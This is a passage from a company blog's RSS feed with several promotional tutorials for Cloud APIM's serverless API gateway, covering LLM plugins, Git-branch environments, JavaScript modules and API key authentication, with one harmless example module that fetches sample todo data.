<p><a target="_blank" href="https://www.cloud-apim.com/">Cloud APIM</a> provides <a target="_blank" href="https://console.cloud-apim.com/deployments">cutting-edge, managed solutions for API management</a>, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer <a target="_blank" href="https://console.cloud-apim.com/serverless/projects">the most advanced tools</a> and <a target="_blank" href="https://console.cloud-apim.com/wasmo_deployments">services</a> to our customers, empowering them to achieve their digital transformation goals.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717164622893/4c55fd90-812f-4369-9d80-03faeeb5158f.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[🤖 AI in Your API Gateway : Introducing Otoroshi LLM extension for more efficiency and security 🚀]]></title><description><![CDATA[Introduction to AI Gateways
API gateways are essential in modern architecture. They manage traffic between your services, control traffic going to your applications and apis, etc.
But, what if they could do more ?
🌟 AI can transform your API gateway...]]></description><link>https://blog.cloud-apim.com/otoroshi-llm-ai-api-gateway</link><guid isPermaLink="true">https://blog.cloud-apim.com/otoroshi-llm-ai-api-gateway</guid><category><![CDATA[ai gateway]]></category><category><![CDATA[AI]]></category><category><![CDATA[llm]]></category><category><![CDATA[APIs]]></category><category><![CDATA[API Gateway]]></category><category><![CDATA[otoroshi]]></category><dc:creator><![CDATA[Thomas Delafaye]]></dc:creator><pubDate>Mon, 08 Jul 2024 08:12:46 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1720426354979/090a81ef-2ff5-4fe9-863a-2c082cca1ed6.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduction-to-ai-gateways">Introduction to AI Gateways</h2>
<p>API gateways are essential in modern architecture. They manage traffic between your services, control traffic going to your applications and apis, etc.</p>
<p><strong>But</strong>, what if they could do more ?</p>
<p>🌟 <strong>AI</strong> can transform your <strong>API gateway</strong>, making it smarter and more efficient.</p>
<p><em>LLM + API Gateway = AI Gateway ❤️</em></p>
<p>At <a target="_blank" href="https://www.cloud-apim.com/">Cloud APIM</a>, we have created a set of Large Language Model (LLM) plugins for <a target="_blank" href="https://www.otoroshi.io/">Otoroshi</a>, the open-source reverse proxy and API Management, in order to connect your API to a LLM and benefits from its capacities.</p>
<p>These plugins will be open sourced very soon ! Stay tuned.</p>
<p>In this little blog post, we will see how AI could help you in many cases : Adding context to your API, create prompt templates, data anonymization and much much more !</p>
<h2 id="heading-contextual-intelligence">💡 Contextual Intelligence</h2>
<p>AI brings contextual intelligence. It understands the context of your API requests. This means smarter, more relevant responses.</p>
<p>Your APIs becomes more efficient.</p>
<p>AI can analyze patterns and predict user needs, enhancing the overall user experience.</p>
<p>Context-aware routing ensures the right data is delivered at the right time, reducing latency and improving performance.</p>
<h2 id="heading-dynamic-prompt-templating">🛠️ Dynamic Prompt Templating</h2>
<p>AI enables dynamic prompt templating.</p>
<p>Templates adjust based on real-time data.</p>
<p>This streamlines complex workflows. It's customization at its best.</p>
<p>AI-driven prompts can guide users through complex processes, reducing errors and improving satisfaction.</p>
<p>Dynamic templates mean your APIs can adapt on the fly, providing tailored interactions without manual intervention.</p>
<h2 id="heading-enhancing-data-privacy-with-ai-powered-data-anonymization">🕵️‍♂️ Enhancing Data Privacy with AI-Powered Data Anonymization 🔒</h2>
<p>Data anonymization is a critical component of modern data management, particularly in the context of API gateways.</p>
<p>AI-powered anonymization techniques offer advanced methods to protect sensitive information while preserving data utility.</p>
<p>By integrating these techniques into your API gateway, you can enhance privacy, ensure compliance, and maintain the trust of your users.</p>
<p>Embrace AI-driven anonymization to safeguard your data and unlock its full potential responsibly.</p>
<h2 id="heading-real-world-use-cases">🌍 Real-World Use Cases</h2>
<p>AI in API gateways is not just theory.</p>
<p>Companies worldwide are implementing these solutions.</p>
<p>For instance, e-commerce platforms use AI to personalize shopping experiences.</p>
<p>Financial services leverage AI for fraud detection.</p>
<p>Healthcare providers utilize AI to manage patient data securely.</p>
<p>The possibilities are endless.</p>
<h2 id="heading-future-prospects">🚀 Future Prospects</h2>
<p>The future of AI in API Gateways looks bright.</p>
<p>With continued advancements, we can expect even more sophisticated features.</p>
<p>Improved predictive analytics, deeper integrations, and smarter automation are on the horizon.</p>
<p>Staying up to date with these trends will allow you to keep your API management on the cutting edge.</p>
<h2 id="heading-conclusion">✨ Conclusion</h2>
<p>AI transforms API Gateways by providing intelligence, security and efficiency.</p>
<p>Ready to revolutionize your API management?</p>
<p>Integrate AI into your gateway today ! 🚀</p>
<p>✨ With AI, your API Gateway is no longer just a traffic manager, but a powerful tool that drives innovation and growth.</p>
<p>To help you using our new set of plugins, we created a YouTube playlist containing all our AI Gateway videos.</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://www.youtube.com/playlist?list=PLNHaf5rXAx3FWk7dn2fKGwQXxeLCPhZCh">https://www.youtube.com/playlist?list=PLNHaf5rXAx3FWk7dn2fKGwQXxeLCPhZCh</a></div>
<p> </p>
<h2 id="heading-start-putting-ai-into-your-api-gateway-now"><strong>🚀</strong> Start putting AI into your API Gateway now !</h2>
<p>If you wish to use the AI ​​plugins available for Otoroshi, you can do so today via our two offers <a target="_blank" href="https://cloud-apim.com/">Otoroshi managed instances</a> and <a target="_blank" href="https://cloud-apim.com/serverless">Serverless projects</a><strong>.</strong></p>
<p>In addition to these plugins, you will have access to more than <strong>50 other plugins</strong> for customizing and managing your APIs !</p>
<p><a target="_blank" href="https://console.cloud-apim.com/serverless/projects"><strong>Sign up now</strong></a> and take the first step towards secure and efficient <strong>API management</strong> !</p>
<h2 id="heading-stay-connected"><strong>📡 Stay Connected</strong></h2>
<p>Follow our blog for the latest updates, tips, and best practices for <strong>Cloud APIM Serverless</strong> and <strong>API management</strong>.</p>
<h2 id="heading-about-cloud-apim"><strong>🏢 About Cloud APIM</strong></h2>
<p><a target="_blank" href="https://www.cloud-apim.com/">Cloud APIM</a> provides <a target="_blank" href="https://console.cloud-apim.com/deployments">cutting-edge, managed solutions for API management</a>, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer <a target="_blank" href="https://console.cloud-apim.com/serverless/projects">the most advanced tools</a> and <a target="_blank" href="https://console.cloud-apim.com/wasmo_deployments">services</a> to our customers, empowering them to achieve their digital transformation goals.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717164622893/4c55fd90-812f-4369-9d80-03faeeb5158f.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[🌍  Managing multiple project environments with Cloud APIM Serverless 🚀]]></title><description><![CDATA[In modern software development, maintaining separate environments is essential for ensuring quality and stability.
Cloud APIM Serverless uses the power of GitOps to help with the management of these environments, making it easy to link different envi...]]></description><link>https://blog.cloud-apim.com/managing-multiple-project-environments-with-cloud-apim-serverless</link><guid isPermaLink="true">https://blog.cloud-apim.com/managing-multiple-project-environments-with-cloud-apim-serverless</guid><category><![CDATA[APIs]]></category><category><![CDATA[APIM]]></category><category><![CDATA[environments]]></category><category><![CDATA[API Gateway]]></category><category><![CDATA[API Management]]></category><dc:creator><![CDATA[Thomas Delafaye]]></dc:creator><pubDate>Thu, 20 Jun 2024 07:08:08 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1718269749374/8a6e9a28-e2d3-42b2-b026-d524875b9847.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In modern software development, maintaining separate environments is essential for ensuring <strong>quality</strong> and <strong>stability</strong>.</p>
<p><a target="_blank" href="https://cloud-apim.com/serverless"><strong>Cloud APIM Serverless</strong></a> uses the power of GitOps to help with the management of these environments, making it easy to link different environments to specific <strong>Git branches</strong>.</p>
<p>We will see through this article what environments are used for and how to use them.</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://www.youtube.com/watch?v=nojzK9O6Ozw">https://www.youtube.com/watch?v=nojzK9O6Ozw</a></div>
<p> </p>
<h3 id="heading-why-using-multiple-environments">🌍 <strong>Why using Multiple Environments ?</strong></h3>
<p>Using multiple environments allows you to:</p>
<ul>
<li><p><strong>Test changes safely :</strong> Validate new features and bug fixes in a controlled environment before they reach production.</p>
</li>
<li><p><strong>Ensure stability :</strong> Isolate <strong><em>production</em></strong> from <strong><em>development</em></strong> and testing activities to minimize the risk of introducing bugs.</p>
</li>
<li><p><strong>Facilitate collaboration :</strong> Enable different teams to work simultaneously without interfering with each other’s work.</p>
</li>
</ul>
<h3 id="heading-set-up-multiple-project-environments">🚀 <strong>Set up multiple project Environments</strong></h3>
<ol>
<li><p><strong>Create Separate Git Branches:</strong></p>
<ul>
<li><p>Start by creating separate branches for each environment in your Git repository, such as <code>development</code>, <code>staging</code>, and <code>production</code>.</p>
</li>
<li><p>Ensure that each branch reflects the state of its respective environment.</p>
</li>
</ul>
</li>
<li><p><strong>Configure Environments in Cloud APIM Serverless:</strong></p>
<ul>
<li><p>Log in to your <a target="_blank" href="https://console.cloud-apim.com/serverless/projects">Cloud APIM Serverless dashboard</a>.</p>
</li>
<li><p>Navigate to the "Projects" section and select your project.</p>
</li>
<li><p>Click on "<em>Environments</em>" and add new environments for <strong><em>staging</em></strong>, and <strong><em>production</em></strong>. You can name it as you wish.</p>
</li>
<li><p>At the creation of your project, a default ' <em>sandbox</em> ' environment is created. It's a dev environment, you can link it to your <code>development</code> branch.</p>
</li>
</ul>
</li>
<li><p><strong>Link Git Branches to Environments:</strong></p>
<ul>
<li><p>For each environment, configure the corresponding Git branch:</p>
<ul>
<li><p>Select the environment (e.g. <code>production</code>).</p>
</li>
<li><p>Link the environment to the <code>production</code> branch of your Git repository.</p>
</li>
<li><p>Repeat this process for all your environments, linking them to their respective branches.</p>
</li>
</ul>
</li>
</ul>
</li>
</ol>
<h3 id="heading-benefits-of-using-separated-environments">🌟 <strong>Benefits of using Separated Environments</strong></h3>
<ul>
<li><p><strong>Isolation of Changes</strong> : Separated environments allow you to test new features, updates, or fixes in isolation without affecting the live production environment.</p>
<p>  This isolation helps catching bugs and issues early, reducing the risk of introducing problems into the production environment.</p>
</li>
<li><p><strong>Risk Mitigation</strong> : By separating environments, you minimize the impact of potential disruptions.</p>
<p>  Issues encountered in the <code>development</code> or <code>staging</code> environment can be resolved without affecting end users, thus maintaining the stability and reliability of the <code>production</code> environment.</p>
</li>
<li><p><strong>Security</strong> : Using separated environments also help maintaining compliance with regulatory requirements by ensuring that sensitive data is only used in appropriate environments.</p>
<p>  They also enhance security by restricting access to production data and systems, reducing the risk of unauthorized changes or data breaches.</p>
</li>
</ul>
<h3 id="heading-conclusion">🎉 <strong>Conclusion</strong></h3>
<p>Managing multiple environments using Git branches in <strong>Cloud APIM Serverless</strong> enhances your development workflow, ensuring a smooth and reliable path from development to production.</p>
<p>By leveraging <strong>GitOps</strong> practices, you can automate deployments, maintain consistency, and streamline collaboration across your team.</p>
<p>Start integrating multiple environments in your <strong>Cloud APIM Serverless</strong> project today and experience the benefits of a robust, efficient, and scalable API management solution.</p>
<h3 id="heading-get-started-now"><strong>🚀 Get Started Now</strong></h3>
<p>Ready to get started with <strong>Cloud APIM Serverless</strong> ?</p>
<p><a target="_blank" href="https://console.cloud-apim.com/serverless/projects"><strong>Sign up now</strong></a> and take the first step towards secure and efficient <strong>API management</strong> !</p>
<h3 id="heading-stay-connected"><strong>📡 Stay Connected</strong></h3>
<p>Follow our blog for the latest updates, tips, and best practices for <strong>Cloud APIM Serverless</strong> and <strong>API management</strong>.</p>
<h3 id="heading-about-cloud-apim"><strong>🏢 About Cloud APIM</strong></h3>
<p><a target="_blank" href="https://www.cloud-apim.com/">Cloud APIM</a> provides <a target="_blank" href="https://console.cloud-apim.com/deployments">cutting-edge, managed solutions for API management</a>, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer <a target="_blank" href="https://console.cloud-apim.com/serverless/projects">the most advanced tools</a> and <a target="_blank" href="https://console.cloud-apim.com/wasmo_deployments">services</a> to our customers, empowering them to achieve their digital transformation goals.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717164622893/4c55fd90-812f-4369-9d80-03faeeb5158f.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[🛠️ Unlock the power of programmable API Gateways - customize your APIs with JavaScript Modules]]></title><description><![CDATA[Sometimes existing APIs are well thought out and designed, sometimes clients are flexibles and can adapt to the API responses.
And sometimes everything goes wrong ...
In such cases, it can be really helpful to be able to customize things in a central...]]></description><link>https://blog.cloud-apim.com/unlock-the-power-of-programmable-api-gateways-customize-your-apis-with-javascript-modules</link><guid isPermaLink="true">https://blog.cloud-apim.com/unlock-the-power-of-programmable-api-gateways-customize-your-apis-with-javascript-modules</guid><category><![CDATA[APIs]]></category><category><![CDATA[APIM]]></category><category><![CDATA[FaaS]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[API Management]]></category><category><![CDATA[API Gateway]]></category><dc:creator><![CDATA[Mathieu Ancelin]]></dc:creator><pubDate>Thu, 13 Jun 2024 09:28:13 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1717665359614/ca519f02-c747-4d28-8d39-e3c097cd0f22.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Sometimes existing APIs are well thought out and designed, sometimes clients are flexibles and can adapt to the API responses.</p>
<p>And sometimes everything goes wrong ...</p>
<p>In such cases, it can be really helpful to be able to customize things in a central place to keep everyone happy.</p>
<p>🚀 That's why we're thrilled to introduce our new feature : <strong>JavaScript Modules</strong></p>
<p>This new feature in <strong>Cloud APIM Serverless</strong> empowers developers to tailor their APIs to their exact specifications.</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://www.youtube.com/watch?v=4awrYEEIv_0">https://www.youtube.com/watch?v=4awrYEEIv_0</a></div>
<p> </p>
<h3 id="heading-what-are-javascript-modules"><strong>🤔 What are JavaScript Modules ?</strong></h3>
<p>🔄 JavaScript Modules are reusable blocks of code written in JavaScript that can be easily integrated into your APIs.</p>
<p>These modules encapsulate specific functionality, such as data validation, transformation, or custom business logic, allowing you to enhance and extend the capabilities of your <strong>APIs</strong>.</p>
<h3 id="heading-why-integrating-javascript-modules">💡 <strong>Why integrating JavaScript Modules ?</strong></h3>
<p>With JavaScript Modules, you have the freedom to customize every aspect of your API.</p>
<p>Whether you need to implement complex validation rules, transform data formats, or integrate with external services, <strong>JavaScript Modules</strong> provide a flexible and powerful solution.</p>
<p>By leveraging existing modules or creating your own, you can accelerate development and streamline maintenance, all while maintaining the scalability and reliability of your APIs.</p>
<h3 id="heading-key-benefits-of-javascript-modules">🌟 <strong>Key Benefits of JavaScript Modules</strong></h3>
<p><strong>Flexibility</strong>: JavaScript Modules enable you to adapt your APIs to meet the unique requirements of your applications and users.</p>
<p><strong>Reusability</strong>: Reuse existing modules across multiple APIs to save time and effort in development.</p>
<p><strong>Scalability</strong>: Scale your APIs effortlessly by leveraging modular architecture and distributed computing.</p>
<p><strong>Maintainability</strong>: Simplify maintenance and updates by encapsulating logic in self-contained modules.</p>
<p><strong>Innovation</strong> : Experiment with new features and functionality without disrupting existing APIs, fostering a culture of innovation and continuous improvement. 🚀</p>
<h3 id="heading-getting-started-with-javascript-modules"><strong>🏁 Getting Started with JavaScript Modules</strong></h3>
<p>Getting started with JavaScript Modules in <strong>Cloud APIM Serverless</strong> is easy.</p>
<p>Simply browse our library of pre-built modules or create your own using your favorite JavaScript framework.</p>
<p>💻 Integrate modules seamlessly into your APIs using our intuitive interface, and start unlocking the full potential of customization today.</p>
<ol>
<li><p><strong>Sign Up on Cloud APIM Serverless :</strong></p>
<p> Before setting up a <strong>Javascript Module</strong>, ensure you have created a project on <strong>Cloud APIM Serverless</strong>.</p>
<p> If you haven't created one yet, follow these steps:</p>
<ul>
<li><p>Log in to your <a target="_blank" href="https://console.cloud-apim.com/serverless/projects">Cloud APIM Serverless dashboard</a>.</p>
</li>
<li><p>Click on <em>"New project"</em> and fill in your project name.</p>
</li>
</ul>
</li>
<li><p><strong>Create your first Module :</strong></p>
<ul>
<li><p>Navigate to the <em>" modules"</em> folder and create a new one.</p>
<p>  Your filename must ends by <strong>'.js'</strong></p>
<p>  For example you can create a new file named <strong>'first-module.js'</strong></p>
</li>
<li><p>Copy and paste the following code and edit it as you wish</p>
</li>
</ul>
</li>
</ol>
<pre><code class="lang-javascript"><span class="hljs-built_in">exports</span>.on_backend_call = <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">ctx</span>) </span>{
    <span class="hljs-keyword">return</span> fetch(<span class="hljs-string">`https://jsonplaceholder.typicode.com/todos`</span>)
    .then(<span class="hljs-function"><span class="hljs-params">response</span> =&gt;</span> response.json())
    .then(<span class="hljs-function"><span class="hljs-params">json</span> =&gt;</span> {
      <span class="hljs-keyword">return</span> {
        <span class="hljs-attr">status</span>: <span class="hljs-number">200</span>,
        <span class="hljs-attr">headers</span>: {
          <span class="hljs-string">'Content-Type'</span>: <span class="hljs-string">'application/json'</span>
        },
        <span class="hljs-attr">body_json</span>: { 
          <span class="hljs-attr">size</span>: json.length, 
          <span class="hljs-attr">data</span>: json 
        }
      }
    })
};
</code></pre>
<ol start="3">
<li><p><strong>Link your module to your route :</strong></p>
<ul>
<li><p>Select the <em>"openapi.json"</em> file</p>
</li>
<li><p>Choose the route you want to add the plugin or create a new route if you don't have one yet</p>
</li>
<li><p>In the ' plugins ' section let's choose <strong>Javascript Module Plugin</strong></p>
</li>
<li><p>And now you just have to link the filename of your module</p>
</li>
</ul>
</li>
</ol>
<pre><code class="lang-json">    {
      <span class="hljs-attr">"module"</span>: <span class="hljs-string">"/modules/first-module.js"</span>
    }
</code></pre>
<h3 id="heading-conclusion"><strong>🎉 Conclusion</strong></h3>
<p>JavaScript Modules are a game-changer for API customization, offering unparalleled flexibility, reusability, and scalability.</p>
<p>With <strong>Cloud APIM Serverless</strong>, you have the tools you need to take your APIs to the next level and deliver exceptional experiences to your users.</p>
<p>Embrace the power of JavaScript Modules and transform the way you build APIs forever.</p>
<h3 id="heading-get-started-now"><strong>🚀 Get Started Now</strong></h3>
<p>Ready to get started with <strong>Cloud APIM Serverless</strong> ?</p>
<p><a target="_blank" href="https://console.cloud-apim.com/serverless/projects"><strong>Sign up now</strong></a> and take the first step towards secure and efficient <strong>API management</strong> !</p>
<h3 id="heading-stay-connected"><strong>📡 Stay Connected</strong></h3>
<p>Follow our blog for the latest updates, tips, and best practices for <strong>Cloud APIM Serverless</strong> and <strong>API management</strong>.</p>
<h3 id="heading-about-cloud-apim"><strong>🏢 About Cloud APIM</strong></h3>
<p><a target="_blank" href="https://www.cloud-apim.com/">Cloud APIM</a> provides <a target="_blank" href="https://console.cloud-apim.com/deployments">cutting-edge, managed solutions for API management</a>, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer <a target="_blank" href="https://console.cloud-apim.com/serverless/projects">the most advanced tools</a> and <a target="_blank" href="https://console.cloud-apim.com/wasmo_deployments">services</a> to our customers, empowering them to achieve their digital transformation goals.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717164600156/fe062e7d-f84c-4840-baac-e6af7a3cacf2.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[🔒 Secure Your APIs with API Keys : Getting started with Cloud APIM Serverless]]></title><description><![CDATA[🔑 API Keys authentication is a fundamental aspect of securing your APIs and controlling access to your resources.
With Cloud APIM Serverless, implementing API Keys authentication for your routes is straightforward and effective.
By generating unique...]]></description><link>https://blog.cloud-apim.com/secure-your-apis-with-api-keys-getting-started-with-cloud-apim-serverless</link><guid isPermaLink="true">https://blog.cloud-apim.com/secure-your-apis-with-api-keys-getting-started-with-cloud-apim-serverless</guid><category><![CDATA[Cloud APIM]]></category><category><![CDATA[APIs]]></category><category><![CDATA[APIM]]></category><category><![CDATA[API Management]]></category><category><![CDATA[api keys]]></category><category><![CDATA[gitops]]></category><dc:creator><![CDATA[Mathieu Ancelin]]></dc:creator><pubDate>Fri, 07 Jun 2024 08:56:32 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1717665231194/12f4ff4f-bd7b-431b-aef0-888cfbfbbd61.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>🔑 API Keys authentication is a fundamental aspect of securing your APIs and controlling access to your resources.</p>
<p>With <a target="_blank" href="https://www.cloud-apim.com/serverless"><strong>Cloud APIM Serverless</strong></a>, implementing API Keys authentication for your routes is straightforward and effective.</p>
<p>By generating unique API Keys for each authorized user or application, you can ensure secure access to your APIs while tracking and controlling usage.</p>
<p>In this guide, we'll explore how to set up API Keys authentication on <strong>Cloud APIM Serverless</strong> routes, empowering you to safeguard your APIs and data effectively.</p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/FoaNJD5bYno?si=UB7cZur9UHn7Rcob"></iframe>

<h2 id="heading-what-are-api-keys"><strong>🤔</strong> What are API Keys?</h2>
<p>API keys are unique identifiers that are passed along with API requests to authenticate the calling application.</p>
<p>They help track and control how the API is being used, ensuring that only authorized users can access the API.</p>
<h2 id="heading-why-using-api-keys"><strong>🔑 Why using API Keys?</strong></h2>
<ol>
<li><p><strong>🔒 Security :</strong> API keys act as a gatekeeper, restricting access to your API and ensuring that only authorized applications can interact with it.</p>
</li>
<li><p>📊 <strong>Usage Tracking :</strong> API keys serve as tracking beacons, allowing you to monitor how your API is being used, providing valuable insights and analytics into usage patterns.</p>
</li>
<li><p><strong>⏱️ Rate Limiting :</strong> With API keys, you can enforce rate limits to prevent abuse and ensure fair usage, maintaining optimal performance for all users.</p>
</li>
</ol>
<h2 id="heading-setting-up-api-keys-with-cloud-apim-serverless"><strong>🔧 Setting Up API Keys with Cloud APIM Serverless</strong></h2>
<h3 id="heading-step-1-create-a-serverless-project"><strong>🆕 Step 1 : Create a Serverless Project</strong></h3>
<p>Before setting up API keys, ensure you have an API created within Cloud APIM Serverless. If you haven't created one yet, follow these steps:</p>
<ol>
<li><p>Log in to your <a target="_blank" href="https://console.cloud-apim.com/serverless/projects">Cloud APIM Serverless dashboard</a>.</p>
</li>
<li><p>Click on "New project" and fill in your project name.</p>
</li>
<li><p>Use Github as a provider and choose to fork the empty project template</p>
</li>
</ol>
<h3 id="heading-step-2-enable-api-key-authentication"><strong>🔐 Step 2 : Enable API Key Authentication</strong></h3>
<p>1. <strong>Navigate to Your OpenAPI file :</strong></p>
<ul>
<li><p>In your <a target="_blank" href="https://console.cloud-apim.com/serverless/projects">Cloud APIM Serverless dashboard</a>, select the API you want to secure</p>
</li>
<li><p>Select the <em>"openapi.json"</em> file</p>
</li>
<li><p>Choose the route you want to enable API Key Authentication or create a new route if you don't have one yet</p>
<ul>
<li><p>in case you want to create a route, click on <em>'Create new route'</em> and fill the route with a path on '/todos' and the method to 'GET'.</p>
<p>  Add the 'Override host header' in the plugins</p>
</li>
</ul>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717666298952/b380e3ef-a27d-40fd-b263-7d82c097acbe.png" alt class="image--center mx-auto" /></p>
<p>2. <strong>Add API Key Authentication plugin :</strong></p>
<ul>
<li><p>In the plugins list click on <em>‘add plugin'</em></p>
</li>
<li><p>Search for ‘<strong>ApiKeys</strong>’ plugin</p>
</li>
<li><p>You can now save the default configuration and push your changes to Github</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717666394572/7ffeb669-6920-4f94-84ad-88e726e710e5.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-step-3-generate-api-keys"><strong>🔑 Step 3 : Generate API Keys</strong></h3>
<p>1. <strong>Go to the API Keys in your toolbar :</strong></p>
<p>- In the dashboard, navigate to the "API Keys" section.</p>
<p>2. <strong>Create a New API Key:</strong></p>
<p>- Click on "<strong>+</strong>" button to create a new Api Key</p>
<p>- Fill in the details such as the key name, add users as managers, select environments and define your own quotas for each Api Key</p>
<p>- Click "save" to create the API key.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717666435149/bb20a827-5196-46f7-b873-cebb229e45d4.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-step-4-use-api-keys-in-requests"><strong>🌐 Step 4 : Use API Keys in Requests</strong></h3>
<ul>
<li><p>To access your API using the API key, click on ‘tools’ in your toolbar and then select ‘<strong>Tests</strong>’</p>
</li>
<li><p>Select the method you want to use, the route path and the Api Key you’ve created previously</p>
</li>
<li><p>Click on ‘<strong>Run</strong>’ button to send the request</p>
</li>
<li><p>You will see the response body at the bottom of the Test Popup</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717666460838/891b1c9a-364f-4e49-a091-7a3c3e5dae75.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-best-practices-for-api-key-management"><strong>🚪 Best Practices for API Key Management</strong></h2>
<p>🔒 <strong>Keep Keys Confidential :</strong> Never expose your API keys in public repositories, client-side code, or unsecured locations.</p>
<p>🔄 <strong>Rotate Keys Regularly :</strong> Periodically regenerate API keys to minimize the risk of compromised keys.</p>
<p>👀 <strong>Monitor Usage :</strong> Regularly check usage logs to detect any unusual or unauthorized activity.</p>
<p>⏱️ <strong>Enforce Rate Limits :</strong> Implement rate limiting to protect your API from abuse and ensure fair usage.</p>
<h2 id="heading-conclusion"><strong>🎉 Conclusion</strong></h2>
<p>Securing your APIs with API keys is a fundamental step in protecting your services and ensuring efficient usage.</p>
<p><strong>Cloud APIM Serverless</strong> makes it easy to set up and manage API keys, providing robust security and insightful analytics.</p>
<p>By following the steps outlined above, you can ensure your APIs are secure and ready for use.</p>
<h3 id="heading-get-started-now"><strong>🚀 Get Started Now</strong></h3>
<p>Ready to get started with <strong>Cloud APIM Serverless</strong> ?</p>
<p><a target="_blank" href="https://console.cloud-apim.com/serverless/projects"><strong>Sign up now</strong></a> and take the first step towards secure and efficient <strong>API management</strong> !</p>
<h3 id="heading-stay-connected"><strong>📡 Stay Connected</strong></h3>
<p>Follow our blog for the latest updates, tips, and best practices for <strong>Cloud APIM Serverless</strong> and <strong>API management</strong>.</p>
<h2 id="heading-about-cloud-apim"><strong>🏢 About Cloud APIM</strong></h2>
<p><a target="_blank" href="https://www.cloud-apim.com/">Cloud APIM</a> provides <a target="_blank" href="https://console.cloud-apim.com/deployments">cutting-edge, managed solutions for API management</a>, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer <a target="_blank" href="https://console.cloud-apim.com/serverless/projects">the most advanced tools</a> and <a target="_blank" href="https://console.cloud-apim.com/wasmo_deployments">services</a> to our customers, empowering them to achieve their digital transformation goals.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717164622893/4c55fd90-812f-4369-9d80-03faeeb5158f.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[🔥 Unleashing the Power of API Management with Cloud APIM Serverless]]></title><description><![CDATA[In today's rapidly evolving tech landscape, efficient and scalable API management is crucial for businesses of all sizes.
That's why we're excited to introduce Cloud APIM Serverless, our cutting-edge solution designed to streamline the deployment and...]]></description><link>https://blog.cloud-apim.com/unleashing-the-power-of-api-management-with-cloud-apim-serverless</link><guid isPermaLink="true">https://blog.cloud-apim.com/unleashing-the-power-of-api-management-with-cloud-apim-serverless</guid><category><![CDATA[APIM]]></category><category><![CDATA[API Management]]></category><category><![CDATA[Git]]></category><category><![CDATA[GitHub]]></category><category><![CDATA[serverless]]></category><category><![CDATA[API Gateway]]></category><category><![CDATA[APIs]]></category><dc:creator><![CDATA[Mathieu Ancelin]]></dc:creator><pubDate>Mon, 03 Jun 2024 12:02:10 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1717097229390/653a6705-8b1e-4138-9a38-20a2edb68709.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In today's rapidly evolving tech landscape, efficient and scalable <strong>API management</strong> is crucial for businesses of all sizes.</p>
<p>That's why we're excited to introduce <strong>Cloud APIM Serverless</strong>, our cutting-edge solution designed to streamline the deployment and management of your APIs.</p>
<p><strong>Cloud APIM Serverless</strong> removes the complexities of traditional infrastructure, allowing you to focus on innovation and growth.</p>
<p>With features like fast shipping, robust security, and API analytics, our platform empowers developers, startups, small businesses, and large enterprises to efficiently manage their APIs and drive business success.</p>
<h2 id="heading-why-using-cloud-apim-serverless"><strong>🤔 Why using Cloud APIM Serverless ?</strong></h2>
<p>Traditional API management solutions often come with the overhead of managing servers, provisioning resources, and dealing with scalability challenges.</p>
<p>With our <strong>Serverless product</strong>, say goodbye to infrastructure headaches and hello to a seamless, serverless experience.</p>
<p>Our product leverages the power of serverless architecture, eliminating the need for manual server management (even from our own <a target="_blank" href="https://console.cloud-apim.com/deployments">managed otoroshi instances</a> service 😉) and allowing you to focus on innovation rather than infrastructure maintenance.</p>
<h3 id="heading-main-features-and-benefits"><strong>🌟 Main Features and Benefits</strong></h3>
<p><strong>🚀 Fast Deployment :</strong>  Launch APIs in minutes, not days. Our intuitive interface makes it easy to deploy and manage APIs with just a few clicks.</p>
<p><strong>🔧 GitOps Driven :</strong> At the core of Serverless APIM is a GitOps-driven approach to API management. By adopting GitOps principles, we empower teams to manage their API configurations, deployments, and infrastructure as code through version control systems like Git.</p>
<p><strong>🌐 Use Project Environments :</strong> Serverless projects environments are seamlessly integrated with version control through Git, allowing each environment to be linked to a specific Git branch.</p>
